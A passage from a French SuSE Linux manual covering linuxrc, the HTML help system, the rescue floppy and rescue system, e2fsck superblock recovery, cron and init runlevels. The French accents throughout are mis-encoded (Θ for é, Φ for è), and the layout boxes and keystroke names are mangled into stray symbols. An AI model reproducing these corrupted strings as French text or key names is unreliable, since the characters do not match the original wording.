DΘmarrer le systΦme / l'installation
Si vous Ωtes parvenu α obtenir pour votre matΘriel un support complet du
noyau, vous pouvez passer α l'option `DΘmarrer le systΦme / l'ins-
tallation'
└ partir de lα (figure 16.5 page ci-contre), il est possible de mettre en route
plusieurs procΘdures : `DΘmarrer l'installation' (c'est aussi par cette
option que la mise α jour est dΘmarrΘe), `Amorcer un systΦme installΘ'
432
________________________________________________________________________________________________________________16.3.__linux*
*rc____________________
Fig. 16.5: Objectif de linuxrc
(la partition racine doit Ωtre connue), `DΘmarrer le systΦme de se-
cours' (voir paragraphe 16.5 page 438)et `DΘmarrer le CD live'3 .
_______________________________________________________________________________________________________________________||
|||||||| L'option `DΘmarrer le CD live' peut toujours rendre de prΘcieux ser- ||| |
|||||||| || |
|||||||| vices si vous souhaitez par exemple vΘrifier, sans avoir α faire une instal- || |
|||||||| || |
|||||||| lation sur le disque dur, si la machine ou le notebook que vous avez l'in- || |
|||||||| tention d'acheter est compatible avec SuSE Linux ~ un test de ce genre || |
|||||||| || |
|||||||| devrait Ωtre possible dans pratiquement tous les magasins qui vendent des || |
|||||||| PC ! || |
||||||||_______________________________________________________________________________________________________________||_
Fig. 16.6: SΘlection du support d'installation dans linuxrc
3 ____________________________________________________
Ce CD live (``systΦme de fichiers live'') est disponible pour les architectures x86 (voir para-
graphe 3.6.4 page 108.
*
* 433
16. ParticularitΘs_sous_SuSE______Linux___________________________________________________________________________________________*
*_______________________________________@
Vous pouvez choisir diffΘrentes sources pour l'installation ainsi que pour le
systΦme de secours (voir figure 16.6 page prΘcΘdente).
434
___________________________________________________________________16.4.__Le_systΦme_d'aide_pour_SuSE______Linux____________*
*______________________
16.4 Le systΦme d'aide pour SuSE Linux
Le systΦme d'aide est orientΘ composants et peut Ωtre utilisΘ au moyen de
n'importe quel navigateur Web (sous l'interface graphique voir plus haut
figure 1.1 page 8 ou sur la console texte voir ici figure 16.7) ~ mΩme au
niveau rΘseau si vous le souhaitez.
L'ΘlΘment central du systΦme se trouve dans le paquetage susehilf, sΘrie
doc (Documentation). Selon l'importance de l'installation ou la fonctionna-
litΘ que vous dΘsirez, vous devrez encore installer les paquetages suivants
(pour la procΘdure d'installation voir paragraphe 3.4.3 page 95). Les paque-
tages essentiels seront installΘs automatiquement si vous effectuez une instal-
lation standard α partir de YaST ~ donc pas de panique dans le cas o∙ tout
ceci vous|semblerait|un peu confus pour le moment ;-) |
_______________________________________________________________________________________________________________________||||
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Fig. 16.7: Page de dΘmarrage du systΦme d'aide (lynx)
paquetage apache, sΘrie n : Apache, le serveur WWW local.
paquetage sdb, sΘrie doc : Le paquetage de base avec fonctionnalitΘ de re-
cherche pour la SDB.
paquetage sdb_de, sΘrie doc : Les textes de la base de donnΘes support
(SDB), en allemand.
paquetage susepak, sΘrie doc : Pour le cas o∙ vous souhaiteriez Θtudier les
descriptions de paquetages en toute tranquillitΘ : : :
paquetage howtodeh, sΘrie doc : Les documents Howto, en allemand.
paquetage howtoenh, sΘrie doc : Les documents Howto, version anglaise
(en gΘnΘral il sont plus actuels que les traductions).
paquetage ldp, sΘrie doc : Livres, FAQ, etc. du Linux Documentation Pro-
ject (LDP) en HTML.
paquetage rman, sΘrie ap : Contient http-rman .
*
* 435
16. ParticularitΘs_sous_SuSE______Linux___________________________________________________________________________________________*
*_______________________________________@
paquetage inf2htm, sΘrie doc : Permet de lire les documents Texinfo (voir
paragraphe 1.4.3 page 9) avec le navigateur WWW. Les documents sont
convertis ``on-the-fly''.
paquetage dochost, sΘrie n : Une machinerie pour un serveur central de
documents dans le rΘseau. Nous vous conseillons de vous familiariser
avec /usr/doc/packages/dochost/README.SuSE !
paquetage htdig, sΘrie n : Pour la crΘation d'un index de recherche de tous
les documents WWW installΘs sur la machine (ou dans le rΘseau local).
Votre machine devient un petit moteur de recherche WWW.
paquetage dochost et paquetage htdig ne sont pas absolument indispen-
sables mais cependant trΦs utiles pour obtenir une pleine fonctionnalitΘ.
16.4.1 Configuration pour systΦme monoposte ou systΦme serveur
Pour un systΦme monoposte, positionnez dans /etc/rc.config les va-
riables prΘsentΘes dans le fichier 16.4.1 (de prΘfΘrence avec YaST ainsi
qu'il est dΘcrit au paragraphe 3.6.12 page 114 et particuliΦrement au
page 458 ). Ceci implicite bien s√r que votre systΦme se nomme so-
leil.cosmos.univers. Si ce n'est pas le cas, vous devrez utiliser les
noms que vous avez assignΘs.
________________________________________________________________________________________________________*
*________
|START_INETD="yes" *
* |
|START_HTTPD="yes" *
* |
|DOC_SERVER="yes" *
* |
|DOC_HOST="soleil.cosmos.univers" *
* |
| *
* |
|DOC_ALLOW="LOCAL__.cosmos.univers"_____________________________________________________________________*
*________ |
fichier 16.4.1: /etc/rc.config pour systΦme monoposte ou systΦme ser-
veur
inetd (angl. inet daemon) devrait absolument Ωtre lancΘ. Ce dΘmon est nΘ-
cessaire, entre autre, pour accΘder aux + pages de man via http-rman . Mais
http-rman ne peut bien s√r fonctionner que si ce service n'est pas dΘsactivΘ
dans /etc/hosts.deny
Veillez α ce que le serveur HTTP (apache ) soit lancΘ lors de l'amorτage. Vous
devez pour cela positionner START_HTTPD α yes .
DOC_SERVER dΘtermine si les documents doivent Ωtre mis α disposition α par-
tir de cette machine. Cette variable doit Θgalement Ωtre positionnΘe α yes si
vous souhaitez ~ par exemple dans le cas d'un systΦme monoposte ~ avoir
un accΦs local aux documents. DOC_HOST indique le nom du serveur de do-
cuments (ici : soleil.cosmos.univers). DOC_ALLOW est une variable qui
joue un r⌠le dΘterminant au niveau de la sΘcuritΘ. C'est lα que l'on inscrit
les machines ou les domaines autorisΘs α accΘder aux pages de man. Si vous
voulez attribuer des droits d'accΦs α un domaine complet, n'oubliez pas de
faire prΘcΘder son nom par un point `.' !
________________________________________________________________________________________________________*
*________||
| Notez que SuSEconfig doit Ωtre lancΘ aprΦs chaque modification des va- *
* ||||
| riables. Si vous utilisez YaST , cela se fait automatiquement lorsque vous *
* |||
| *
* |||
| quittez le masque. *
* |||
|_______________________________________________________________________________________________________*
*________|||_
436
___________________________________________________________________16.4.__Le_systΦme_d'aide_pour_SuSE______Linux____________*
*______________________
La recherche plein texte n'est disponible que lorsque les index pour ht://Dig
(paquetage htdig) ont ΘtΘ crΘΘs. Les index ont actuellement une taille d'en-
viron 70 Mo. Sous /opt/www/htdig, il devrait y avoir au moins 200 Mo
d'espace libre sur le disque pendant l'initialisation de la base de donnΘes.
L'initialisation se fait par la commande
terre:~ # suserundig
Le script /usr/sbin/suserundig lit le fichier de configuration /opt/www/
htdig/conf/susedig.conf et crΘe les index. En cas de modification du
stock de donnΘes (par exemple aprΦs une mise α jour de documents HTML),
suserundig doit de nouveau Ωtre invoquΘ.
16.4.2 Configuration pour une machine client
Dans un environnement rΘseau, vous ne souhaiterez probablement pas instal-
ler la totalitΘ de la documentation sur toutes les machines. Ce n'est pas non
plus nΘcessaire ! De tous les paquetages mentionnΘs plus haut, installez sur le
client uniquement le paquetage dochost, sΘrie n et positionnez les variables
dans /etc/rc.config comme dans le fichier 16.4.2.
_______________________________________________________________________________________________________________________|DOC_*
*SERVER="no"|
||||||||DOC_HOST="soleil.cosmos.univers" |
|||||||| |
||||||||DOC_ALLOW=""___________________________________________________________________________________________________ |
fichier 16.4.2: /etc/rc.config pour une machine client
Ceci ne peut Θvidemment fonctionner que si la documentation est effective-
ment installΘe sur soleil.cosmos.univers.
16.4.3 Utiliser le systΦme d'aide
Lorsque le systΦme d'aide est installΘ, vous pouvez l'invoquer soit avec
la commande aide ou susehelp , soit en entrant directement l'URL
http://localhost/doc/susehilf/index.html ou http://soleil.
cosmos.univers/doc/susehilf/index.html dans un navigateur WWW.
soleil.cosmos.univers ne peut naturellement Ωtre utilisΘ que si vous avez
donnΘ ce nom α votre machine ou au serveur de documents.
*
* 437
16. ParticularitΘs_sous_SuSE______Linux___________________________________________________________________________________________*
*_______________________________________@
16.5 Le systΦme de secours SuSE
Vue d'ensemble
SuSE Linux inclut ~ indΘpendamment du systΦme d'installation ~ un systΦme
de secours Linux autonome4 qui vous permettra, en cas d'urgence, d'accΘder
``de l'extΘrieur'' α toutes vos partitions Linux qui se trouvent sur les disques
durs. Ce systΦme de secours comprend un choix soigneusement ΘlaborΘ de
programmes auxiliaires qui mettent suffisamment d'outils α votre disposition
pour vous permettre de remΘdier α une multitude de problΘmes causΘs par des
disques durs devenus inaccessibles, des fichiers de configuration erronΘs, et
d'autres choses encore.
Le systΦme de secours est constituΘ d'une disquette d'amorτage ou d'un
CD SuSE Linux amorτable ainsi que d'un systΦme dit rescue qu'il est pos-
sible, sous SuSE Linux, de charger α partir des supports les plus divers (dis-
quette, CD, rΘseau et mΩme directement depuis le serveur FTP de SuSE ) ~
Somme toute, un sujet passionnant.
Travaux prΘliminaires
Comme vous pouvez crΘer α tout moment une nouvelle disquette d'amorτage
α l'aide du vΘritable fichier image contenu sur le CD sous /disks, il vous
est possible de parer α toute ΘventualitΘ. Outre la disquette d'amorτage, vous
n'aurez besoin, dans le cas minimal, que du fichier /disks/rescue qui se
trouve sur le CD et qui contient l'image compressΘe d'un petit systΦme de
fichiers racine. Si vous Θcrivez ce fichier sur une deuxiΦme disquette ``de
secours'' sans aucun dΘfaut avec les commandes Linux
terre: # /sbin/badblocks -v /dev/fd0 1440
terre: # dd if=/cdrom/disks/rescue of=/dev/fd0 bs=18k
ou avec la commande DOS (supposons que Q: soit le lecteur de CD-ROM
sous DOS)
Q:\> cd \dosutils\rawrite
Q:\dosutils\rawrite> rawrite.exe
vous pourrez aussi charger le systΦme rescue α partir de la disquette d'amor-
τage et de cette disquette de secours. La disquette de secours peut aussi Ωtre
crΘΘe avec YaST (voir paragraphe 3.6.2 page 104). actuellement , elle est en-
core basΘe α dessein sur la libc5 (SuSE Linux 5.3) car c'est la seule solution
qui permette d'intΘgrer certains programmes sur la disquette (un + Θditeur,
fdisk , e2fsck , etc.) ~ la glibc serait, de par sa taille, trop volumineuse.
Il n'est toutefois pas possible de monter la disquette de secours car elle n'est
pas un systΦme de fichiers. Elle contient seulement l'image compressΘe d'un
systΦme de fichiers (si cette image, d'environ 3 Mo, n'Θtait pas compressΘe
elle serait trop grande pour tenir sur une disquette). Si vous voulez malgrΘ tout
y jeter un coup d'oeil, vous devrez dΘcompresser le fichier image et monter
ensuite l'image non compressΘe (en tant qu'utilisateur `root'). Ceci suppose
_____________________________________________4
Plus exactement, il en existe 2 (voir la suite du paragraphe pour plus de dΘtails) ~ ou mΩme 3 si
l'on considΦre aussi le ``systΦme de fichiers live'' comme un systΦme de secours. Pour le systΦme
de fichiers live voir paragraphe 3.6.4 page 108.
438
_______________________________________________________________________________16.5.__Le_systΦme_de_secours_SuSE____________*
*______________________
que votre noyau Linux supporte le loop device. Les choses se passent alors
comme suit :
terre: # cp /cdrom/disks/rescue /root/rescue.gz
terre: # gunzip /root/rescue.gz
terre: # mount -t ext2 -o loop /root/rescue /mnt
Sous /mnt, vous pouvez maintenant explorer le contenu de la disquette de
secours en toute tranquillitΘ.
_______________________________________________________________________________________________________________________||
|||||||| Conservez dans un lieu s√r quelques disquettes d'amorτage et de secours ||| |
|||||||| vΘrifiΘes. Le peu qu'il faut faire pour les crΘer et les maintenir n'est vrai- || |
|||||||| || |
|||||||| ment pas grand chose comparΘ au travail et α la perte de temps que vous || |
|||||||| auriez si, en cas de nΘcessitΘ, vous n'aviez pas ces disquettes sous la main || |
|||||||| || |
|||||||| (et si de surcroεt votre lecteur de CD-ROM vous laissait en plan). || |
||||||||_______________________________________________________________________________________________________________||_
DΘmarrer le systΦme de secours
Tout comme une installation, le systΦme de secours est dΘmarrΘ α partir de la
disquette d'amorτage SuSE ou α partir du CD 1 amorτable. Les Θtapes sont
les suivantes :
1. Condition : le lecteur de disquettes est prΩt pour l'amorτage. (si c'est
nΘcessaire, changer l'ordre d'amorτage dans le CMOS SETUP).
2. DΘmarrez le systΦme avec la disquette d'amorτage SuSE ou le CD 1.
Entrez, α l'invite d'amorτage, soit yast1 , soit manuel . Avec manuel ,
vous avez la possibilitΘ de charger, de maniΦre autonome, les modules du
noyau nΘcessaires.
3. Configurez la langue, le clavier et le reste comme lors de l'installation
dans linuxrc , jusqu'α ce que vous arriviez au menu principal.
4. SΘlectionnez dans le menu principal `DΘmarrer l'installation/ le
systΦme'.
5. Si vous avez dΘmarrΘ avec la disquette d'amorτage, insΘrez maintenant le
CD d'installation ou la disquette (rescue) avec l'image compressΘe du
systΦme de secours.
6. SΘlectionnez dans le menu `DΘmarrer l'installation/le systΦ-
me' l'option `DΘmarrer le systΦme de secours' (voir figure 16.5
page 433) et spΘcifiez le support source que vous dΘsirez (figure 16.8
page suivante) :
`CD-ROM' : Ceci reprΘsente le ``cas normal''. linuxrc chargera un sys-
tΦme confortable (.../suse/images/rescue). Pour que cette mΘ-
thode soit possible, votre machine doit disposer d'au moins 16 Mo ou
mieux encore de 24 Mo de RAM (mΘmoire de travail). ~ Il convient
de noter que /cdrom sera exportΘ simultanΘment. Il est ainsi possible
de dΘmarrer aisΘment le systΦme de secours et de procΘder α une in-
stallation rΘseau α partir de ce CD (insΘrer les valeurs exactes dans
les /etc/rc.config indispensables et invoquer ensuite SuSEconfig ;
voir paragraphe 17.5 page 450 et pages suivantes).
*
* 439
16. ParticularitΘs_sous_SuSE______Linux___________________________________________________________________________________________*
*_______________________________________@
Fig. 16.8: Support pour le systΦme rescue
`RΘseau (NFS)' : RΘcupΘrez le systΦme rescue sur le rΘseau via NFS.
Pour cela, il est bien s√r indispensable que le pilote pour votre carte
rΘseau ait ΘtΘ chargΘ auparavant. Voir α ce sujet les remarques d'ordre
gΘnΘral du paragraphe 2.4.2 page 48.
`RΘseau (FTP)' : RΘcupΘrez le systΦme rescue sur le rΘseau via FTP.
Ne pas oublier le pilote pour la carte rΘseau !
`Disque dur' : Chargement du systΦme rescue α partir du disque dur.
`Disquette' : DΘmarrage du systΦme rescue α partir de la disquette.
Cette variante fonctionne mΩme dans le cas o∙ la machine ne dispose
que de peu de RAM.
Le systΦme de secours est maintenant dΘcompressΘ et chargΘ comme nouveau
systΦme de fichiers racine sur un disque RAM, puis il est ensuite montΘ et
dΘmarrΘ. Il est ainsi fonctionnel.
Travailler avec le systΦme de secours
Le systΦme_de secours met α votre disposition, avec |A_____|lt+ |F___|_1jusqu'α |A_____|lt
+ |___F|3, au moins trois consoles virtuelles sur lesquelles__vous pouvez_ vous
connecter en tant qu'utilisateur `root' sans mot de passe. Avec |A____l|t+ |F____1|0
vous passez α la console du systΦme qui affiche les messages du noyau et
de syslog .
Sous /bin, vous trouverez l'interprΘteur de commandes (shell) ainsi que des
utilitaires (par exemple mount ). Un certain nombre d'utilitaires de fichiers
et de rΘseau, entre autres e2fsck pour la vΘrification et la restauration de
systΦmes de fichiers, se trouvent sous /sbin. C'est Θgalement sous /sbin
que vous trouverez les binaires les plus importants pour l'administration du
systΦme tels que fdisk , mkfs , mkswap ,init , shutdown ainsi que ceux pour le
rΘseau ifconfig , route et netstat .
Comme Θditeur, vous disposez du programme vi sous /usr/bin. Vous trou-
verez ici encore d'autres outils (grep , find , less , etc.) et surtout telnet .
440
_______________________________________________________________________________16.5.__Le_systΦme_de_secours_SuSE____________*
*______________________
Exemple : AccΦs au systΦme normal
Pour le montage de votre systΦme Linux sur le disque dur, c'est le point
de montage /mnt qui est prΘvu. Vous pouvez bien s√r, pour vos besoins
personnels, crΘer d'autres rΘpertoires et les utiliser comme points de montage.
Supposons que votre systΦme normal soit constituΘ, selon /etc/fstab, des
mΩmes ΘlΘments que dans l'exemple donnΘ par le fichier 16.5.1.
_______________________________________________________________________________________________________________________
||||||||/dev/sdb5 swap swap defaults 0 0 |
||||||||/dev/sdb3 / ext2 defaults 1 1 |
|||||||| |
||||||||/dev/sdb6____________/usr______________ext2______________defaults_____1_____2__________________________________ |
fichier 16.5.1: Exemple : /etc/fstab
Vous le monterez alors Θtape par Θtape sous /mnt avec les commandes sui-
vantes (l'ordre doit Ωtre respectΘ !) :
terre:/ # mount /dev/sdb3 /mnt
terre:/ # mount /dev/sdb6 /mnt/usr
Vous avez maintenant accΦs α la totalitΘ de votre systΦme et vous pouvez,
par exemple, corriger des erreurs dans des fichiers de configuration tels que
/etc/fstab, /etc/passwd, /etc/inittab ~ qui se trouvent bien s√r α
prΘsent sous /mnt/etc et non plus sous /etc !
Tout utilisateur Linux possΘdant un peu d'expΘrience profite de la premiΦre
occasion pour faire une copie sur papier (hardcopy) de /etc/fstab et de la
sortie de la commande
terre: # fdisk -l /dev/<disk>
``pour ses archives''. └ la place de <disk>, insΘrez les uns aprΦs les autres les
noms de pΘriphΘriques de vos disques durs, par exemple hda (voir la liste au
paragraphe D.1 page 531)
Il est souvent possible de rΘcupΘrer mΩme des partitions complΦtes qui ont ΘtΘ
dΘtruites en les recrΘant simplement avec le fdisk de Linux, α condition que
l'on sache exactement o∙ elles Θtaient auparavant sur le disque dur.
Exemple : Restaurer des systΦmes de fichiers
Les systΦmes de fichiers endommagΘs sont une sΘrieuse raison pour utiliser le
systΦme de secours. Ceci peut arriver α la suite, par exemple, d'un arrΩt brutal
de la machine (d√ Θventuellement α une panne de courant) ou d'un effondre-
ment du systΦme. Par principe, il n'est pas possible de restaurer un systΦme
de fichiers pendant une exΘcution normale. Lorsque de graves dΘgΓts se sont
produits, il peut arriver qu'il ne soit plus possible de monter mΩme le systΦme
de fichiers racine et que le dΘmarrage du systΦme se termine par le message
"kernel panic". La seule issue qui reste est de tenter une rΘparation ``de
l'extΘrieur'' sous un systΦme de secours.
Le systΦme de secours SuSE Linux contient les utilitaires e2fsck et, pour
le diagnostic, dumpe2fs . Ceci vous permet de maεtriser un bon nombre de
problΦmes. Comme dans certains cas la page de man de e2fsck n'est souvent
plus accessible, nous l'avons imprimΘe dans l'annexe E page 537 du manuel.
Exemple :
*
* 441
16. ParticularitΘs_sous_SuSE______Linux___________________________________________________________________________________________*
*_______________________________________@
S'il n'est plus possible de monter un systΦme de fichiers α cause d'un su-
perbloc non valide, il est fort probable que e2fsck Θchouera Θgalement. La
solution consiste dans ce cas α utiliser l'une des sauvegardes des superblocs
qui sont crΘΘes et maintenues dans le systΦme de fichiers tous les 8192 blocs
(8193, 16385 : : :). Ceci est obtenu par exemple par la commande
terre: # e2fsck -f -b 8193 /dev/<Defekte_Partition>
L'option -f force de faτon absolue la vΘrification du systΦme de fichiers et
prΘvient ainsi l'erreur que pourrait faire e2fsck en supposant - devant la
copie intacte du superbloc - que tout est pour le mieux.
16.6 Informations sur les paquetages logiciels spΘciaux
16.6.1 paquetage cron
Les tables cron sont situΘes sous /var/cron/tabs (et non plus sous /var/
lib/cron). Ce fichier /etc/crontab est une table configurΘe au niveau sys-
tΦme dans laquelle il doit Ωtre indiquΘ, en plus de la date, le compte utilisa-
teur sous lequel chacune des tΓches demandΘes doit Ωtre exΘcutΘe (voir le
fichier 16.6.1 dans lequel l'utilisateur `root' est indiquΘ). Les tables spΘci-
fiques aux paquetages, que l'on trouve dans /etc/cron.d, suivent le mΩme
format ~ voir la page de man de cron (man 8 cron ).
________________________________________________________________________________________________________*
*________
|1-59/5 * * * * root test -x /usr/sbin/atrun && /usr/sbin/atrun *
* |
|_______________________________________________________________________________________________________*
*________ |
fichier 16.6.1: Exemple d'entrΘe dans /etc/crontab
/etc/crontab ne peut pas Ωtre traitΘ avec crontab -e mais doit Ωtre direc-
tement chargΘ dans un Θditeur, modifiΘ et ensuite sauvegardΘ.
Certains paquetages installent dans les rΘpertoires /etc/cron.hourly,
/etc/cron.daily, /etc/cron.weekly et /etc/cron.monthly des
scripts shells dont l'exΘcution est contr⌠lΘe par /usr/lib/cron/run-crons.
Toutes les 15 minutes, /usr/lib/cron/run-crons est invoquΘ dans la
table principale (/etc/contrab). Il est ainsi garanti que des passages Θven-
tuellement sautΘs seront rΘcupΘrΘs en temps voulu. Ne vous Θtonnez pas si
peu de temps aprΦs l'amorτage l'utilisateur `nobody' apparaεt dans la table
des processus avec d'intenses activitΘs. `nobody' actualise probablement la
base de donnΘes locate (voir le paragraphe 17.6 page 461).
16.6.2 paquetage curses
Le CD contient maintenant le paquetage ncurses. Les bibliothΦques qui
en font partie portent les noms libncurses.so.<xx> . Il en rΘsulte que
les commandes pour l'Θditeur de liens doivent Ωtre modifiΘes dans de nom-
breux Makefiles. Vous devriez donc compiler vos propres paquetages avec
-lncurses et jamais avec -lcurses . Mais qui veut quand mΩme le faire
doit utiliser :
-I/usr/include/termcap -I/usr/include/curses
-L/usr/lib/termcap -L/usr/lib/curses
442
_________________________________________________________________________________________16.7.__Disposition_du_clavier______*
*______________________
16.6.3 Sources du paquetage uucp
Les sources du paquetage uucp sont actuellement dans le RPM source de
Sendmail sous forme d'un sous-paquetage.
16.6.4 Pages de man
Pour certains programmes GNU (par exemple tar ), les pages de man ne sont
plus maintenues. Elles ont remplacΘes par de rapides aperτus obtenus en
utilisant l'option --help et par des fichiers Info qui constituent des manuels
dΘtaillΘs. Info (info ) est le systΦme hypertexte de GNU . Avec info , on
obtient une premiΦre aide pour l'utilisation. Il est possible d'invoquer info
soit en passant par Emacs : emacs -f info , soit directement : info . Il est
plaisant d'utiliser tkinfo , xinfo ou l'accΦs par le systΦme d'aide. Voir le
paragraphe 16.4 page 435.
16.7 Disposition du clavier
Pour uniformiser la disposition du clavier de certains programmes, il a ΘtΘ
apportΘ des modifications aux fichiers suivants :
/etc/inputrc
/usr/X11R6/lib/X11/Xmodmap
/etc/skel/.Xmodmap
/etc/skel/.exrc
/etc/skel/.less
/etc/skel/.lesskey
/etc/csh.cshrc
/etc/termcap
/usr/lib/terminfo/x/xterm
/usr/X11R6/lib/X11/app-defaults/XTerm
/usr/share/emacs/20.5/site-lisp/term/*.el
/usr/lib/joerc
Ces modifications n'ont d'effet que sur les applications qui lisent les don-
nΘes de terminfo ou sur celles dont les fichiers de configuration ont ΘtΘ di-
rectement modifiΘs (vi , less , etc.). D'autres applications, externes α SuSE ,
devraient Ωtre adaptΘes α ces conditions.
*
* 443
16. ParticularitΘs_sous_SuSE______Linux___________________________________________________________________________________________*
*_______________________________________@
444
Chapitre 17
Le concept d'amorτage de SuSE
Linux
L'amorτage et l'initialisation d'un systΦme UNIX rendent mΩme un admi-
nistrateur systΦme chevronnΘ quelque peu nerveux. Ce chapitre est une brΦve
introduction au concept d'amorτage de SuSE Linux. Ce concept est plus com-
plexe mais aussi beaucoup plus souple que celui de la plupart des autres sys-
tΦmes Linux. Il est basΘ sur le concept d'amorτage d'une station de travail
moderne System V telle qu'elle est dΘcrite, par exemple, dans [Fri93 ]
Par ces paroles lapidaires "Uncompressing Linux...", le noyau prend les
commandes de la totalitΘ du matΘriel du systΦme. Il vΘrifie et installe la
console 1 pour lire ensuite les configurations dans le BIOS et initialiser les
interfaces ΘlΘmentaires de la carte mΦre. Au cours des phases suivantes, les
diffΘrents pilotes ~ qui font partie des ΘlΘments qui constituent le noyau ~ ``tes-
tent'' le matΘriel prΘsent pour l'initialiser le cas ΘchΘant. AprΦs le ``contr⌠le
des partitions'' et le montage du systΦme de fichiers racine2 , le noyau lance le
programme /sbin/init qui dΘmarre le systΦme proprement dit avec ses nom-
breux programmes utilitaires et leur configuration. Le noyau continue α gΘrer
la totalitΘ du systΦme, c'est-α-dire le temps CPU des diffΘrents programmes
et leurs accΦs au matΘriel.
17.1 Le programme init
Le programme /sbin/init est le processus responsable de l'initialisation cor-
recte du systΦme ; il est pour ainsi dire le ``pΦre de tous les processus'' du
systΦme.
Sous tous les programmes, init joue un r⌠le particulier : init est lancΘ direc-
tement par le noyau et il est immunisΘ contre le signal 9 avec lequel on peut
normalement ``tuer'' tout processus. Les autres processus sont tous lancΘs soit
par init lui-mΩme, soit par l'un de ses ``processus fils''.
init est configurΘ centralement au moyen du fichier /etc/inittab ; c'est ici
que les ``runlevels'' (niveaux d'exΘcution) sont dΘfinis (plus de dΘtails α ce
sujet au prochain paragraphe) et qu'il est dΘterminΘ ce qui doit se passer α
chaque niveau. En fonction des entrΘes faites dans /etc/inittab, diffΘrents
1 ____________________________________________________
Plus exactement le registre du BIOS de la carte graphique et le format d'affichage α l'Θcran.
2 Rattachement de la partition racine au rΘpertoire/.
*
* 445
17. Le concept d'amorτage_de_SuSE______Linux______________________________________________________________________________________*
*_______________________________________@
scripts, regroupΘs pour plus de clartΘ dans le rΘpertoire /sbin/init.d, sont
lancΘs par init .
Le dΘmarrage complet du systΦme ~ et bien s√r aussi son arrΩt ~ sont ainsi
pilotΘs par le seul processus init . Dans ce sens, on peut considΘrer le noyau,
α peu de choses prΦs, comme un ``processus en arriΦre-plan'' chargΘ de gΘrer
les processus qui tournent, de leur allouer le temps CPU, d'autoriser et de
contr⌠ler l'accΦs au matΘriel.
17.2 Les niveaux d'exΘcution
Sous Linux, il existe diffΘrents niveaux d'exΘcution (angl. runlevel) qui dΘfi-
nissent l'Θtat que doit avoir le systΦme. Le niveau d'exΘcution par dΘfaut dans
lequel le systΦme dΘmarre au moment de l'amorτage est dΘterminΘ dans le
fichier /etc/inittab/etc/inittab par l'entrΘe initdefault . Habituel-
lement, c'est 2 ou 3 (voir tableau 17.1 page ci-contre). Alternativement, il
est possible de spΘcifier au moment de l'amorτage (par exemple α l'invite de
LILO) le niveau d'exΘcution que l'on souhaite. Le noyau transmet au proces-
sus init les paramΘtres inchangΘs qu'il n'utilise pas lui-mΩme.
Pour passer ultΘrieurement dans un autre niveau d'exΘcution, on peut tout
simplement lancer init avec le numΘro du niveau d'exΘcution correspondant.
Bien entendu, le passage dans un autre niveau d'exΘcution ne peut Ωtre requis
que par l'+ administrateur systΦme.
En tapant par exemple la commande
root@terre:/ > init S
on arrive en mode dit mono-utilisateur qui sert α la maintenance et α l'admi-
nistration du systΦme. Lorsque l'administrateur systΦme a terminΘ son travail
il peut, en tapant
root@terre:/ > init 2
ramener le systΦme au niveau d'exΘcution normal dans lequel tournent tous
les programmes nΘcessaires au fonctionnement et qui permet aux diffΘrents
utilisateurs de se connecter au systΦme.
Le tableau 17.1 page suivante donne une vue d'ensemble des niveaux d'exΘ-
cution disponibles. Le runlevel 1 ne devrait pas Ωtre utilisΘ dans un systΦme
dont la partition /usr a ΘtΘ montΘe via NFS !
Ceci vous permet tout particuliΦrement, par
root@terre:/ > init 0
d'arrΩter le systΦme ou, par
root@terre:/ > init 6
de le redΘmarrer.
Si vous avez dΘjα configurΘ correctement le systΦme X Window sur votre
machine (paragraphe 8.1 page 240) et si vous dΘsirez que les utilisateurs
puissent se connecter directement au systΦme par l'interface graphique, vous
pouvez, dans /etc/inittab, faire passer simplement le runlevel α 3 . Mais
avant d'effectuer cette opΘration, vous devriez, en faisant l'entrΘe
root@terre:/ > init 3
446
____________________________________________________________________17.3.__Changement_de_niveau_d'exΘcution_________________*
*______________________
_______________________________________________________________________________________________________________________
Runlevel__________Signification___________________________________________________________________________________________
0 ArrΩt (halt)
S Mode mono-utilisateur
1 Multiutilisateur sans rΘseau
2 Multiutilisateur avec rΘseau (par dΘfaut)
3 Multiutilisateur avec rΘseau et Xdm
4 Libre
5 Libre
6 RΘamorτage (reboot)
_______________________________________________________________________________________________________________________
Tab. 17.1: Liste des runlevels sous Linux
tester si le systΦme fonctionne comme vous le souhaitez.
_______________________________________________________________________________________________________________________|||||
|||||||| Un fichier /etc/inittab dΘtΘriorΘ peut entraεner un mauvais dΘmarrage ||| |
|||||||| du systΦme. Agissez donc avec la plus grande prudence si vous apportez || |
|||||||| || |
|||||||| des modifications α ce fichier. ~ Comme solution de secours, vous pouvez || |
|||||||| essayer dans un tel cas de transmettre le paramΦtre init=/bin/sh α l'in- || |
|||||||| || |
|||||||| vite de LILO afin d'amorcer directement dans un shell (voir page 121). || |
|||||||| || |
|||||||| Ceci se fait de cette maniΦre : || |
|||||||| boot : linux init=/bin/sh || |
||||||||_______________________________________________________________________________________________________________||_
17.3 Changement de niveau d'exΘcution
En gΘnΘral, il se produit ce qui suit lorsque l'on passe d'un niveau d'exΘcution
α un autre : Les scripts d'arrΩt du niveau d'exΘcution actuel sont exΘcutΘs ~
ce qui logiquement arrΩte tous les programmes qui tournent ~ et les scripts de
dΘmarrage du nouveau niveau d'exΘcution sont Θgalement exΘcutΘs. Dans
la plupart des cas, quelques programmes sont lancΘs au cours d'une telle
procΘdure.
Pour que tout ceci soit plus clair, voyons α l'aide d'un exemple ce qui arrive
lorsque l'on passe du runlevel 2 au runlevel 3 :
~ L'administrateur (`root') fait savoir au processus init que le niveau
d'exΘcution doit Ωtre changΘ :
root@terre:/ > init 3
~ init consulte le fichier de configuration /etc/inittab et constate que
le script /sbin/init.d/rc doit Ωtre invoquΘ avec le nouveau niveau
d'exΘcution comme paramΦtre.
~ Maintenant, rc invoque tous les scripts d'arrΩt du prΘsent niveau d'exΘcu-
tion pour lesquels il n'existe pas de scripts de dΘmarrage dans le nouveau
niveau d'exΘcution. Dans notre exemple, il s'agit de scripts qui se trouvent
tous dans le rΘpertoire /sbin/init.d/rc2.d (l'ancien runlevel Θtait 2)
et dont le nom commence par un `K'3 . Le nombre qui suit le `K' ga-
3 ____________________________________________________
Les noms des scripts d'arrΩt commencent toujours par `K' (angl. kill), ceux des scripts de
dΘmarrage par `S' (angl. start).
*
* 447
17. Le concept d'amorτage_de_SuSE______Linux______________________________________________________________________________________*
*_______________________________________@
rantit qu'un certain ordre sera respectΘ car il est possible que quelques
programmes soient dΘpendants d'autres programmes.
~ Les scripts de dΘmarrage du nouveau niveau d'exΘcution sont lancΘs en
dernier. Ce sont ceux qui, dans notre exemple, se trouvent sous /sbin/
init.d/rc3.d et dont le nom commence par un `S'. Dans ce cas aussi,
il sera tenu compte de l'ordre qui est dΘterminΘ par le nombre qui suit
le `S'.
